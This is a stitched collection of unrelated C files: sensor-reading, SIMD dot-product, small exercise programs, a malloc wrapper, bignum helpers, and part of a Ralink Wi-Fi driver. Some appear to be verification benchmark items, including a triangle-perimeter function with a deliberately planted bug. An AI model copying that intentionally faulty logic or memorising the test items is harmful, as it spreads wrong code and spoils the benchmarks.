#include "stdio.h" #include "unistd.h" #include "sys/types.h" #include "sys/stat.h" #include "sys/ioctl.h" #include "fcntl.h" #include "stdlib.h" #include "string.h" #include <poll.h> #include <sys/select.h> #include <sys/time.h> #include <signal.h> #include <fcntl.h> #define ICM_DEV_NAME "/dev/icm20608" /* * @description : main主程序 * @param - argc : argv数组元素个数 * @param - argv : 具体参数 * @return : 0 成功;其他 失败 */ int main(int argc, char *argv[]) { int fd; signed int databuf[7]; signed int gyro_x_adc, gyro_y_adc, gyro_z_adc; signed int accel_x_adc, accel_y_adc, accel_z_adc; signed int temp_adc; float gyro_x_act, gyro_y_act, gyro_z_act; float accel_x_act, accel_y_act, accel_z_act; float temp_act; int ret = 0; fd = open(ICM_DEV_NAME, O_RDWR); if(fd < 0) { printf("can't open file %s\r\n", ICM_DEV_NAME); return -1; } while (1) { ret = read(fd, databuf, sizeof(databuf)); if(ret >= 0) { /* 数据读取成功 */ gyro_x_adc = databuf[0]; gyro_y_adc = databuf[1]; gyro_z_adc = databuf[2]; accel_x_adc = databuf[3]; accel_y_adc = databuf[4]; accel_z_adc = databuf[5]; temp_adc = databuf[6]; /* 计算实际值 */ gyro_x_act = (float)(gyro_x_adc) / 16.4; gyro_y_act = (float)(gyro_y_adc) / 16.4; gyro_z_act = (float)(gyro_z_adc) / 16.4; accel_x_act = (float)(accel_x_adc) / 2048; accel_y_act = (float)(accel_y_adc) / 2048; accel_z_act = (float)(accel_z_adc) / 2048; temp_act = ((float)(temp_adc) - 25 ) / 326.8 + 25; printf("read size:%d\r\n", ret); printf("\r\n原始值:\r\n"); printf("gx = %d, gy = %d, gz = %d\r\n", gyro_x_adc, gyro_y_adc, gyro_z_adc); printf("ax = %d, ay = %d, az = %d\r\n", accel_x_adc, accel_y_adc, accel_z_adc); printf("temp = %d\r\n", temp_adc); printf("实际值:"); printf("act gx = %.2f°/S, act gy = %.2f°/S, act gz = %.2f°/S\r\n", gyro_x_act, gyro_y_act, gyro_z_act); printf("act ax = %.2fg, act ay = %.2fg, act az = %.2fg\r\n", accel_x_act, accel_y_act, accel_z_act); printf("act temp = %.2f°C\r\n", temp_act); } sleep(1); } close(fd); /* 关闭文件 */ return 0; }
the_stack_data/1058751.c
#include <immintrin.h> #include <malloc.h> #include <smmintrin.h> #include <stdio.h> #include <stdlib.h> /* * https://github.com/searchivarius/BlogCode/blob/master/2016/bench_sums/testsum256.cc * */ #if defined(__GNUC__) #define PORTABLE_ALIGN16 __attribute__((aligned(16))) #else #define PORTABLE_ALIGN16 __declspec(align(16)) #endif /* * [Description] * This code sample demonstrates how to use C, MMX, and SSE3 * instrinsics to calculate the dot product of two vectors. * * [Compile] * icc dot_prodcut.c (linux) | icl dot_product.c (windows) * * [Output] * Dot Product computed by C: 506.000000 * Dot Product computed by SSE2 intrinsics: 506.000000 * Dot Product computed by MMX intrinsics: 506 */ #include <stdio.h> #include <pmmintrin.h> #define SIZE 32 //assumes size is a multiple of 4 because MMX and SSE //registers will store 4 elements. //Computes dot product using Ramesh float dot_product_256( float *a, float *b, int n ); //Computes dot product using C float dot_product(float *a, float *b); //Computes dot product using intrinsics float dot_product_intrin(float *a, float *b); //Computes dot product using MMX intrinsics short MMX_dot_product(short *a, short *b); int main() { float *x = NULL, *y = NULL; x = memalign(32 ,SIZE * sizeof(float)); y = memalign(32, SIZE * sizeof(float)); short a[SIZE], b[SIZE]; int i; float product; short mmx_product; for(i=0; i<SIZE; i++) { x[i]=i; y[i]=i; a[i]=i; b[i]=i; } product= dot_product(x, y); printf("Dot Product computed by C: %f\n", product); #if __INTEL_COMPILER product = dot_product_256(x, y, SIZE); printf("Dot Product computed by Ramesh : %f\n", product); product =dot_product_intrin(x,y); printf("Dot Product computed by SSE2 intrinsics: %f\n", product); mmx_product =MMX_dot_product(a,b); printf("Dot Product computed by MMX intrinsics: %d\n", mmx_product); #else printf("Use INTEL compiler in order to calculate dot product\n"); printf("usng intrinsics\n"); #endif return 0; } float dot_product(float *a, float *b) { int i; int sum=0; for(i=0; i<SIZE; i++) { sum += a[i]*b[i]; } return sum; } #if __INTEL_COMPILER float dot_product_256( float *a, float *b, int n ) { float arr[4]; float total = 0; int i; int stride = 256 / (8*sizeof(float)); __m256 num1, num2, num3, num4; float PORTABLE_ALIGN16 tmpres[stride]; num4 = _mm256_setzero_ps(); //sets sum to zero for ( i = 0; i < n; i += stride) { //loads array a into num1 num1= a[7] a[6] ... a[1] a[0] num1 = _mm256_loadu_ps(a+i); //loads array b into num2 num2= b[7] b[6] ... b[1] b[0] num2 = _mm256_loadu_ps(b+i); // performs multiplication // num3 = a[7]*b[7] a[6]*b[6] ... a[1]*b[1] a[0]*b[0] num3 = _mm256_mul_ps(num1, num2); //horizontal addition by converting to scalars _mm256_store_ps(tmpres, num3); // accumulate in total total += tmpres[0] + tmpres[1] + tmpres[2] + tmpres[3] + tmpres[4] + tmpres[5] + tmpres[6] + tmpres[7]; } return total; } float dot_product_intrin(float *a, float *b) { float arr[4]; float total; int i; __m128 num1, num2, num3, num4; num4= _mm_setzero_ps(); //sets sum to zero for(i=0; i<SIZE; i+=4) { num1 = _mm_loadu_ps(a+i); //loads unaligned array a into num1 num1= a[3] a[2] a[1] a[0] num2 = _mm_loadu_ps(b+i); //loads unaligned array b into num2 num2= b[3] b[2] b[1] b[0] num3 = _mm_mul_ps(num1, num2); //performs multiplication num3 = a[3]*b[3] a[2]*b[2] a[1]*b[1] a[0]*b[0] num3 = _mm_hadd_ps(num3, num3); //performs horizontal addition //num3= a[3]*b[3]+ a[2]*b[2] a[1]*b[1]+a[0]*b[0] a[3]*b[3]+ a[2]*b[2] a[1]*b[1]+a[0]*b[0] num4 = _mm_add_ps(num4, num3); //performs vertical addition } num4= _mm_hadd_ps(num4, num4); _mm_store_ss(&total,num4); return total; } //MMX technology cannot handle single precision floats short MMX_dot_product(short *a, short *b) { int i; short result, data; __m64 num3, sum; __m64 *ptr1, *ptr2; sum = _mm_setzero_si64(); //sets sum to zero for(i=0; i<SIZE; i+=4){ ptr1 = (__m64*)&a[i]; //Converts array a to a pointer of type //__m64 and stores four elements into MMX //registers ptr2 = (__m64*)&b[i]; num3 = _m_pmaddwd(*ptr1, *ptr2); //multiplies elements and adds lower //elements with lower element and //higher elements with higher sum = _m_paddw(sum, num3); } data = _m_to_int(sum); //converts __m64 data type to an int sum= _m_psrlqi(sum,32); //shifts sum result = _m_to_int(sum); result= result+data; _m_empty(); //clears the MMX registers and MMX state. return result; } #endif
the_stack_data/184517341.c
/* The program TriPerimetre (implemented in the function foo) has the exact same control structure of Tritype. The difference is that TriPerimetre returns a calculation on the input and not a constant value. The program returns the sum of the triangle sides if the input conrresponds to a valid triangle; and returns -1 otherwise. THe error is this program is in the condition condition "(trityp == 1 && (i+k) > j)", the correct instruction should be "(trityp == 2 && (i+k) > j)". By taking the input {i=1,j=1,k=2}, the program returns as a sum of triangle sides the value 3, however, it should return the value 4. SPDX-FileCopyrightText: Mohammed Bekkouche <http://www.i3s.unice.fr> SPDX-License-Identifier: GPL-3.0-or-later */ extern int __VERIFIER_nondet_int(); extern void __VERIFIER_error(); void __VERIFIER_assert(int cond) { if (!(cond)) { ERROR: __VERIFIER_error(); } return; } /* program for triangle perimeter * returns i+j+k * i+j+k if (i,j,k) are the sides of any triangle * 2*i + j or 2*i+k or 2*j+i if (i,j,k) are the sides of an isosceles triangle * 3*i if (i,j,k) are the sides of an equilateral triangle * returns -1 if (i,j,k) are not the sides of a triangle * * * ERROR in condition line 57 : returns 4 for (1,2,1) while it should return -1 because * i+k>j is false (not a triangle) */ void foo (int i, int j, int k) {//__CPROVER_assume((i == 1) && (j == 2) && (k == 1)); int trityp = 0; int res; if (i == 0 || j == 0 || k == 0) { trityp = 4; res = -1; } else { trityp = 0; if (i == j) { trityp = trityp + 1; } if (i == k) { trityp = trityp + 2; } if (j == k) { trityp = trityp + 3; } if (trityp == 0) { if ((i+j) <= k || ((j+k) <= i || (i+k) <= j)) { trityp = 4; res = -1; } else { trityp = 1; res = i+j+k; } } else { if (trityp > 3) { res = 3*i; } else { if (trityp == 1 && (i+j) > k) { // i==j res=2*i+k; } else { // error in the condition : (i+j) > k) instead of (i+k) > j if (trityp == 2 && (i+j) > k) { // i==k // BUG res = 2*i + j; } else { if (trityp == 3 && (j+k) > i) { res=2*j+i; } else { res=-1; } } } } } } __VERIFIER_assert(res== ((i==0 || j==0 || k==0)?-1:( (i!=j && i!=k && j!=k)?( ((i+j)<=k || (j+k)<=i || (i+k)<=j)?-1:(i+j+k) ):( ((i==j && j==k) || (j==k && i==k))?(3*i):( (i==j && i!=k && j!=k && (i+j)>k)?(2*i+k):( (i!=j && j!=k && i==k && (i+k)>j)?(2*i+j):( ( ((i!=j && j==k && i!=k) || (i==j && j!=k && i==k)) && (j+k)>i)?(2*j+i):-1 ) ) ) ) )) ); } int main() { foo( __VERIFIER_nondet_int(),__VERIFIER_nondet_int(),__VERIFIER_nondet_int()); }
the_stack_data/31387036.c
void api_putchar(int c); void api_end(void); void HariMain(void) { for (;;) { api_putchar('a'); } }
the_stack_data/178266361.c
#include <stdio.h> int main(){ double x,y; scanf("%lf %lf",&x,&y); if(x==0 && y==0){ printf("Origem\n"); } else if (x==0 && y!= 0){ printf("Eixo Y\n"); } else if(x!=0 && y==0){ printf("Eixo X\n"); } else if(x>0 && y<0){ printf("Q4\n"); } else if(x<0 && y>0){ printf("Q2\n"); } else if(x<0 && y<0){ printf("Q3\n"); } else if (x>0 && y>0){ printf("Q1\n"); } /*1º quadrante = x > 0 e y > 0 2º quadrante = x < 0 e y > 0 3º quadrante = x < 0 e y < 0 4º quadrante = x > 0 e y < 0 */ return 0; }
the_stack_data/349269.c
#include <stdlib.h> #include <stdio.h> extern void lock (unsigned long *); extern void unlock (unsigned long *); #define true 1 #define false 0 #ifdef ACCOUNTING typedef struct node { void* ptr; unsigned long a; /* Allocation count. */ unsigned long f; /* Free count. */ unsigned long c; /* Currently allocated? */ struct node* next; } node; node* allocated = NULL; #endif unsigned long mutex = false; void* my_malloc (size_t size) { void* ptr; #ifdef ACCOUNTING node* a; node* n; #endif lock(&mutex); ptr = malloc(size); #ifdef ACCOUNTING if (ptr != NULL) { a = allocated; while (a != NULL) { if (a->ptr == ptr) { a->a += 1; a->c = true; unlock(&mutex); return ptr; } a = a->next; } n = malloc(sizeof(node)); n->ptr = ptr; n->a = 1; n->f = 0; n->c = true; n->next = allocated; allocated = n; } #endif unlock(&mutex); return ptr; } void my_free (void* ptr) { #ifdef ACCOUNTING node* a; #endif lock(&mutex); #ifdef ACCOUNTING a = allocated; while (a != NULL) { if (a->ptr == ptr) { if (a->c == true) { a->f += 1; a->c = false; free(ptr); unlock(&mutex); return; } else { fprintf(stderr, "Attempted to free already-free: %p\n", ptr); fprintf(stderr, " a=%lu f=%lu\n", a->a, a->f); unlock(&mutex); exit(EXIT_FAILURE); } } a = a->next; } a = allocated; while (a != NULL) { fprintf(stderr, "Allocated: %p\n", a->ptr); a = a->next; } fprintf(stderr, "Attempted to free never-allocated: %p\n", ptr); unlock(&mutex); exit(EXIT_FAILURE); #else free(ptr); unlock(&mutex); return; #endif }
the_stack_data/500813.c
#include <string.h> #include <stdio.h> #include <unistd.h> #define MAX_STRING 256 main() { char buffer[MAX_STRING]; int value; char c; int i,ret; i=0; ret = read(0, &buffer[0], sizeof(char)); while(ret >0){ i++; while ((i<MAX_STRING) && (buffer[i-1] != '\n') && (ret > 0)){ ret=read(0,&buffer[i],sizeof(char)); i++; } write(1,buffer,i*sizeof(char)); i=0; ret = read(0, &buffer[0], sizeof(char)); } }
the_stack_data/27144.c
struct S; typedef struct S * tp; struct S { int x; };
the_stack_data/111078849.c
#include <stdio.h> #include<stdlib.h> int main(int argc, char *argv[] ){ int p; if(argc>1) p = atoi(argv[1])*atoi(argv[1]); printf("%d\n",p); return 0; }
the_stack_data/61075940.c
#include <stdio.h> #include <stdlib.h> #include <string.h> #define max(a,b) ((a)>(b)?(a):(b)) int removeduplicate(int *A,int n){ int i,res=0; if(n<2) return 1; for(i=1;i<n;i++){ if(A[res]!=A[i]){ A[++res]=A[i]; } } return res+1; } int removedupli(int *A,int n){ int i,res=2; if(n<3) return 2; for(i=2;i<n;i++){ if(A[i]!=A[res-2]){ A[res++]=A[i]; } } return res; } int main(int argc,int **argv){ int n,i,m; int *nr; printf("Please input the number:\n"); scanf("%d",&n); nr=(int*)malloc(sizeof(int)*n); if(NULL==nr) return 0; printf("Please input the nr:\n"); for(i=0;i<n;i++){ scanf("%d",&nr[i]); } m=removeduplicate(nr,n); // m=removedupli(nr,n); printf("The new length is %d \n",m); for(int j=0;j<m;j++){ printf("%d ",nr[j]); } printf("\n"); free(nr); nr=NULL; return 0; }
the_stack_data/88906.c
#include <complex.h> void scilab_rt_fft_d2d0_z2(int sin00, int sin01, double in0[sin00][sin01], double direction, int sout00, int sout01, double complex out0[sout00][sout01]) { int i; int j; double val0 = direction; for (i = 0; i < sin00; ++i) { for (j = 0; j < sin01; ++j) { val0 += in0[i][j]; } } for (i = 0; i < sout00; ++i) { for (j = 0; j < sout01; ++j) { out0[i][j] = val0 + val0*I; } } }
the_stack_data/67325400.c
/* ------------------------------------------------------------------------------------ Copyright Amazon.com Inc. or its affiliates. All Rights Reserved. SPDX-License-Identifier: Apache-2.0 ------------------------------------------------------------------------------------ */ /* The functions in this file were compiled into ARMv8 assembly code in order to experiment with the generated instructions and use them in beeu.S. */ #ifndef __STDC_FORMAT_MACROS #define __STDC_FORMAT_MACROS #endif #include <inttypes.h> typedef double *__attribute__((aligned(64))) aligned_double; uint64_t bn_add_words(uint64_t *restrict a, const uint64_t *restrict b) { uint64_t c, l, t; c = 0; // while (n & ~3) { t = a[0]; t += c; c = (t < c); l = t + b[0]; c += (l < t); a[0] = l; t = a[1]; t += c; c = (t < c); l = t + b[1]; c += (l < t); a[1] = l; t = a[2]; t += c; c = (t < c); l = t + b[2]; c += (l < t); a[2] = l; t = a[3]; t += c; c = (t < c); l = t + b[3]; c += (l < t); a[3] = l; // a += 4; // } // while (n) { t = a[4]; t += c; c = (t < c); l = t + 0; c += (l < t); a[4] = l; // } return (uint64_t)c; } void bn_shift1_words(uint64_t *restrict a) { a[0] = (a[0] >> 1) | (a[1] << 63); a[1] = (a[1] >> 1) | (a[2] << 63); a[2] = (a[2] >> 1) | (a[3] << 63); a[3] = (a[3] >> 1) | (a[4] << 63); a[4] >>= 1; } void bn_shift(uint64_t *restrict a, uint8_t count) { if (count < 64) { a[0] = (a[0] >> count) | (a[1] << (64-count)); a[1] = (a[1] >> count) | (a[2] << (64-count)); a[2] = (a[2] >> count) | (a[3] << (64-count)); a[3] >>= count; } }
the_stack_data/117328509.c
void fence() { asm("sync"); } void lwfence() { asm("lwsync"); } void isync() { asm("isync"); } int __unbuffered_cnt = 0; int __unbuffered_p0_r1 = 0; int __unbuffered_p0_r3 = 0; int __unbuffered_p1_r1 = 0; int __unbuffered_p1_r3 = 0; int __unbuffered_p2_r1 = 0; int __unbuffered_p2_r3 = 0; int x = 0; int y = 0; int z = 0; void *P0(void *arg) { __unbuffered_p0_r1 = 2; z = __unbuffered_p0_r1; fence(); __unbuffered_p0_r3 = 1; x = __unbuffered_p0_r3; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void *P1(void *arg) { __unbuffered_p1_r1 = x; fence(); __unbuffered_p1_r3 = 1; y = __unbuffered_p1_r3; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } void *P2(void *arg) { __unbuffered_p2_r1 = y; __unbuffered_p2_r3 = 1; z = __unbuffered_p2_r3; // Instrumentation for CPROVER fence(); __unbuffered_cnt++; } int main() { __CPROVER_ASYNC_0: P0(0); __CPROVER_ASYNC_1: P1(0); __CPROVER_ASYNC_2: P2(0); __CPROVER_assume(__unbuffered_cnt == 3); fence(); // EXPECT:exists __CPROVER_assert( !(z == 2 && __unbuffered_p1_r1 == 1 && __unbuffered_p2_r1 == 1), "Program proven to be relaxed for PPC, model checker says YES."); return 0; }
the_stack_data/1194877.c
/* ************************************************************************* * Ralink Tech Inc. * 5F., No.36, Taiyuan St., Jhubei City, * Hsinchu County 302, * Taiwan, R.O.C. * * (c) Copyright 2002-2010, Ralink Technology, Inc. * * This program is free software; you can redistribute it and/or modify * * it under the terms of the GNU General Public License as published by * * the Free Software Foundation; either version 2 of the License, or * * (at your option) any later version. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * * GNU General Public License for more details. * * * * You should have received a copy of the GNU General Public License * * along with this program; if not, write to the * * Free Software Foundation, Inc., * * 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * * *************************************************************************/ #ifdef DOT11_N_SUPPORT #include "rt_config.h" #define BA_ORI_INIT_SEQ (pEntry->TxSeq[TID]) /*1 inital sequence number of BA session*/ #define ORI_SESSION_MAX_RETRY 8 #define ORI_BA_SESSION_TIMEOUT (2000) /* ms*/ #define REC_BA_SESSION_IDLE_TIMEOUT (1000) /* ms*/ #define REORDERING_PACKET_TIMEOUT ((100 * OS_HZ)/1000) /* system ticks -- 100 ms*/ #define MAX_REORDERING_PACKET_TIMEOUT ((3000 * OS_HZ)/1000) /* system ticks -- 100 ms*/ #define RESET_RCV_SEQ (0xFFFF) static void ba_mpdu_blk_free(PRTMP_ADAPTER pAd, struct reordering_mpdu *mpdu_blk); BA_ORI_ENTRY *BATableAllocOriEntry( IN PRTMP_ADAPTER pAd, OUT USHORT *Idx); BA_REC_ENTRY *BATableAllocRecEntry( IN PRTMP_ADAPTER pAd, OUT USHORT *Idx); VOID BAOriSessionSetupTimeout( IN PVOID SystemSpecific1, IN PVOID FunctionContext, IN PVOID SystemSpecific2, IN PVOID SystemSpecific3); VOID BARecSessionIdleTimeout( IN PVOID SystemSpecific1, IN PVOID FunctionContext, IN PVOID SystemSpecific2, IN PVOID SystemSpecific3); BUILD_TIMER_FUNCTION(BAOriSessionSetupTimeout); BUILD_TIMER_FUNCTION(BARecSessionIdleTimeout); #define ANNOUNCE_REORDERING_PACKET(_pAd, _mpdu_blk) \ Announce_Reordering_Packet(_pAd, _mpdu_blk); VOID BA_MaxWinSizeReasign( IN PRTMP_ADAPTER pAd, IN MAC_TABLE_ENTRY *pEntryPeer, OUT UCHAR *pWinSize) { UCHAR MaxSize; UCHAR MaxPeerRxSize; MaxPeerRxSize = (((1 << (pEntryPeer->MaxRAmpduFactor + 3)) * 10) / 16) -1; if (pAd->Antenna.field.TxPath == 3 && (pEntryPeer->HTCapability.MCSSet[2] != 0)) MaxSize = 31; /* for 3x3, MaxSize use ((48KB/1.5KB) -1) = 31 */ else MaxSize = 20; /* for not 3x3, MaxSize use ((32KB/1.5KB) -1) ~= 20 */ DBGPRINT(RT_DEBUG_TRACE, ("ba>WinSize=%d, MaxSize=%d, MaxPeerRxSize=%d\n", *pWinSize, MaxSize, MaxPeerRxSize)); if (!CLIENT_STATUS_TEST_FLAG(pEntryPeer, fCLIENT_STATUS_RALINK_CHIPSET)) MaxSize = min(MaxPeerRxSize, MaxSize); if ((*pWinSize) > MaxSize) { DBGPRINT(RT_DEBUG_TRACE, ("ba> reassign max win size from %d to %d\n", *pWinSize, MaxSize)); *pWinSize = MaxSize; } } void Announce_Reordering_Packet(IN PRTMP_ADAPTER pAd, IN struct reordering_mpdu *mpdu) { PNDIS_PACKET pPacket; pPacket = mpdu->pPacket; if (mpdu->bAMSDU) { /*ASSERT(0);*/ BA_Reorder_AMSDU_Annnounce(pAd, pPacket, mpdu->OpMode); } else { /* pass this 802.3 packet to upper layer or forward this packet to WM directly */ #ifdef CONFIG_STA_SUPPORT IF_DEV_CONFIG_OPMODE_ON_STA(pAd) ANNOUNCE_OR_FORWARD_802_3_PACKET(pAd, pPacket, RTMP_GET_PACKET_IF(pPacket)); #endif /* CONFIG_STA_SUPPORT */ } } /* * Insert a reordering mpdu into sorted linked list by sequence no. */ BOOLEAN ba_reordering_mpdu_insertsorted(struct reordering_list *list, struct reordering_mpdu *mpdu) { struct reordering_mpdu **ppScan = &list->next; while (*ppScan != NULL) { if (SEQ_SMALLER((*ppScan)->Sequence, mpdu->Sequence, MAXSEQ)) { ppScan = &(*ppScan)->next; } else if ((*ppScan)->Sequence == mpdu->Sequence) { /* give up this duplicated frame */ return(FALSE); } else { /* find position */ break; } } mpdu->next = *ppScan; *ppScan = mpdu; list->qlen++; return TRUE; } /* * caller lock critical section if necessary */ static inline void ba_enqueue(struct reordering_list *list, struct reordering_mpdu *mpdu_blk) { list->qlen++; mpdu_blk->next = list->next; list->next = mpdu_blk; } /* * caller lock critical section if necessary */ static inline struct reordering_mpdu * ba_dequeue(struct reordering_list *list) { struct reordering_mpdu *mpdu_blk = NULL; ASSERT(list); if (list->qlen) { list->qlen--; mpdu_blk = list->next; if (mpdu_blk) { list->next = mpdu_blk->next; mpdu_blk->next = NULL; } } return mpdu_blk; } static inline struct reordering_mpdu *ba_reordering_mpdu_dequeue(struct reordering_list *list) { return(ba_dequeue(list)); } static inline struct reordering_mpdu *ba_reordering_mpdu_probe(struct reordering_list *list) { ASSERT(list); return(list->next); } /* * free all resource for reordering mechanism */ void ba_reordering_resource_release(PRTMP_ADAPTER pAd) { BA_TABLE *Tab; PBA_REC_ENTRY pBAEntry; struct reordering_mpdu *mpdu_blk; int i; Tab = &pAd->BATable; /* I. release all pending reordering packet */ NdisAcquireSpinLock(&pAd->BATabLock); for (i = 0; i < MAX_LEN_OF_BA_REC_TABLE; i++) { pBAEntry = &Tab->BARecEntry[i]; if (pBAEntry->REC_BA_Status != Recipient_NONE) { while ((mpdu_blk = ba_reordering_mpdu_dequeue(&pBAEntry->list))) { ASSERT(mpdu_blk->pPacket); RELEASE_NDIS_PACKET(pAd, mpdu_blk->pPacket, NDIS_STATUS_FAILURE); ba_mpdu_blk_free(pAd, mpdu_blk); } } } NdisReleaseSpinLock(&pAd->BATabLock); ASSERT(pBAEntry->list.qlen == 0); /* II. free memory of reordering mpdu table */ NdisAcquireSpinLock(&pAd->mpdu_blk_pool.lock); os_free_mem(pAd, pAd->mpdu_blk_pool.mem); NdisReleaseSpinLock(&pAd->mpdu_blk_pool.lock); } /* * Allocate all resource for reordering mechanism */ BOOLEAN ba_reordering_resource_init(PRTMP_ADAPTER pAd, int num) { int i; PUCHAR mem; struct reordering_mpdu *mpdu_blk; struct reordering_list *freelist; /* allocate spinlock */ NdisAllocateSpinLock(pAd, &pAd->mpdu_blk_pool.lock); /* initialize freelist */ freelist = &pAd->mpdu_blk_pool.freelist; freelist->next = NULL; freelist->qlen = 0; DBGPRINT(RT_DEBUG_TRACE, ("Allocate %d memory for BA reordering\n", (UINT32)(num*sizeof(struct reordering_mpdu)))); /* allocate number of mpdu_blk memory */ os_alloc_mem(pAd, (PUCHAR *)&mem, (num*sizeof(struct reordering_mpdu))); pAd->mpdu_blk_pool.mem = mem; if (mem == NULL) { DBGPRINT(RT_DEBUG_ERROR, ("Can't Allocate Memory for BA Reordering\n")); return(FALSE); } /* build mpdu_blk free list */ for (i=0; i<num; i++) { /* get mpdu_blk */ mpdu_blk = (struct reordering_mpdu *) mem; /* initial mpdu_blk */ NdisZeroMemory(mpdu_blk, sizeof(struct reordering_mpdu)); /* next mpdu_blk */ mem += sizeof(struct reordering_mpdu); /* insert mpdu_blk into freelist */ ba_enqueue(freelist, mpdu_blk); } return(TRUE); } /* static int blk_count=0; sample take off, no use */ static struct reordering_mpdu *ba_mpdu_blk_alloc(PRTMP_ADAPTER pAd) { struct reordering_mpdu *mpdu_blk; NdisAcquireSpinLock(&pAd->mpdu_blk_pool.lock); mpdu_blk = ba_dequeue(&pAd->mpdu_blk_pool.freelist); if (mpdu_blk) { /* blk_count++; */ /* reset mpdu_blk */ NdisZeroMemory(mpdu_blk, sizeof(struct reordering_mpdu)); } NdisReleaseSpinLock(&pAd->mpdu_blk_pool.lock); return mpdu_blk; } static void ba_mpdu_blk_free(PRTMP_ADAPTER pAd, struct reordering_mpdu *mpdu_blk) { ASSERT(mpdu_blk); NdisAcquireSpinLock(&pAd->mpdu_blk_pool.lock); /* blk_count--; */ ba_enqueue(&pAd->mpdu_blk_pool.freelist, mpdu_blk); NdisReleaseSpinLock(&pAd->mpdu_blk_pool.lock); } static USHORT ba_indicate_reordering_mpdus_in_order( IN PRTMP_ADAPTER pAd, IN PBA_REC_ENTRY pBAEntry, IN USHORT StartSeq) { struct reordering_mpdu *mpdu_blk; USHORT LastIndSeq = RESET_RCV_SEQ; NdisAcquireSpinLock(&pBAEntry->RxReRingLock); while ((mpdu_blk = ba_reordering_mpdu_probe(&pBAEntry->list))) { /* find in-order frame */ if (!SEQ_STEPONE(mpdu_blk->Sequence, StartSeq, MAXSEQ)) { break; } /* dequeue in-order frame from reodering list */ mpdu_blk = ba_reordering_mpdu_dequeue(&pBAEntry->list); /* pass this frame up */ ANNOUNCE_REORDERING_PACKET(pAd, mpdu_blk); /* move to next sequence */ StartSeq = mpdu_blk->Sequence; LastIndSeq = StartSeq; /* free mpdu_blk */ ba_mpdu_blk_free(pAd, mpdu_blk); } NdisReleaseSpinLock(&pBAEntry->RxReRingLock); /* update last indicated sequence */ return LastIndSeq; } static void ba_indicate_reordering_mpdus_le_seq( IN PRTMP_ADAPTER pAd, IN PBA_REC_ENTRY pBAEntry, IN USHORT Sequence) { struct reordering_mpdu *mpdu_blk; NdisAcquireSpinLock(&pBAEntry->RxReRingLock); while ((mpdu_blk = ba_reordering_mpdu_probe(&pBAEntry->list))) { /* find in-order frame */ if ((mpdu_blk->Sequence == Sequence) || SEQ_SMALLER(mpdu_blk->Sequence, Sequence, MAXSEQ)) { /* dequeue in-order frame from reodering list */ mpdu_blk = ba_reordering_mpdu_dequeue(&pBAEntry->list); /* pass this frame up */ ANNOUNCE_REORDERING_PACKET(pAd, mpdu_blk); /* free mpdu_blk */ ba_mpdu_blk_free(pAd, mpdu_blk); } else { break; } } NdisReleaseSpinLock(&pBAEntry->RxReRingLock); } static void ba_refresh_reordering_mpdus( IN PRTMP_ADAPTER pAd, PBA_REC_ENTRY pBAEntry) { struct reordering_mpdu *mpdu_blk; NdisAcquireSpinLock(&pBAEntry->RxReRingLock); /* dequeue in-order frame from reodering list */ while ((mpdu_blk = ba_reordering_mpdu_dequeue(&pBAEntry->list))) { /* pass this frame up */ ANNOUNCE_REORDERING_PACKET(pAd, mpdu_blk); pBAEntry->LastIndSeq = mpdu_blk->Sequence; ba_mpdu_blk_free(pAd, mpdu_blk); /* update last indicated sequence */ } ASSERT(pBAEntry->list.qlen == 0); pBAEntry->LastIndSeq = RESET_RCV_SEQ; NdisReleaseSpinLock(&pBAEntry->RxReRingLock); } /* static */ void ba_flush_reordering_timeout_mpdus( IN PRTMP_ADAPTER pAd, IN PBA_REC_ENTRY pBAEntry, IN ULONG Now32) { USHORT Sequence; if ((pBAEntry == NULL) || (pBAEntry->list.qlen <= 0)) return; /* if ((RTMP_TIME_AFTER((unsigned long)Now32, (unsigned long)(pBAEntry->LastIndSeqAtTimer+REORDERING_PACKET_TIMEOUT)) &&*/ /* (pBAEntry->list.qlen > ((pBAEntry->BAWinSize*7)/8))) ||*/ /* (RTMP_TIME_AFTER((unsigned long)Now32, (unsigned long)(pBAEntry->LastIndSeqAtTimer+(10*REORDERING_PACKET_TIMEOUT))) &&*/ /* (pBAEntry->list.qlen > (pBAEntry->BAWinSize/8)))*/ if (RTMP_TIME_AFTER((unsigned long)Now32, (unsigned long)(pBAEntry->LastIndSeqAtTimer+(MAX_REORDERING_PACKET_TIMEOUT/6))) &&(pBAEntry->list.qlen > 1) ) { DBGPRINT(RT_DEBUG_TRACE,("timeout[%d] (%08lx-%08lx = %d > %d): %x, flush all!\n ", pBAEntry->list.qlen, Now32, (pBAEntry->LastIndSeqAtTimer), (int)((long) Now32 - (long)(pBAEntry->LastIndSeqAtTimer)), MAX_REORDERING_PACKET_TIMEOUT, pBAEntry->LastIndSeq)); ba_refresh_reordering_mpdus(pAd, pBAEntry); pBAEntry->LastIndSeqAtTimer = Now32; } else if (RTMP_TIME_AFTER((unsigned long)Now32, (unsigned long)(pBAEntry->LastIndSeqAtTimer+(REORDERING_PACKET_TIMEOUT))) && (pBAEntry->list.qlen > 0) ) { /* DBGPRINT(RT_DEBUG_OFF, ("timeout[%d] (%lx-%lx = %d > %d): %x, ", pBAEntry->list.qlen, Now32, (pBAEntry->LastIndSeqAtTimer), (int)((long) Now32 - (long)(pBAEntry->LastIndSeqAtTimer)), REORDERING_PACKET_TIMEOUT, pBAEntry->LastIndSeq)); */ /* force LastIndSeq to shift to LastIndSeq+1*/ Sequence = (pBAEntry->LastIndSeq+1) & MAXSEQ; ba_indicate_reordering_mpdus_le_seq(pAd, pBAEntry, Sequence); pBAEntry->LastIndSeqAtTimer = Now32; pBAEntry->LastIndSeq = Sequence; /* indicate in-order mpdus*/ Sequence = ba_indicate_reordering_mpdus_in_order(pAd, pBAEntry, Sequence); if (Sequence != RESET_RCV_SEQ) { pBAEntry->LastIndSeq = Sequence; } DBGPRINT(RT_DEBUG_TRACE, ("%x, flush one!\n", pBAEntry->LastIndSeq)); } } /* * generate ADDBA request to * set up BA agreement */ VOID BAOriSessionSetUp( IN PRTMP_ADAPTER pAd, IN MAC_TABLE_ENTRY *pEntry, IN UCHAR TID, IN USHORT TimeOut, IN ULONG DelayTime, IN BOOLEAN isForced) { /*MLME_ADDBA_REQ_STRUCT AddbaReq;*/ BA_ORI_ENTRY *pBAEntry = NULL; USHORT Idx; BOOLEAN Cancelled; ASSERT(TID < NUM_OF_TID); if (TID >= NUM_OF_TID) { 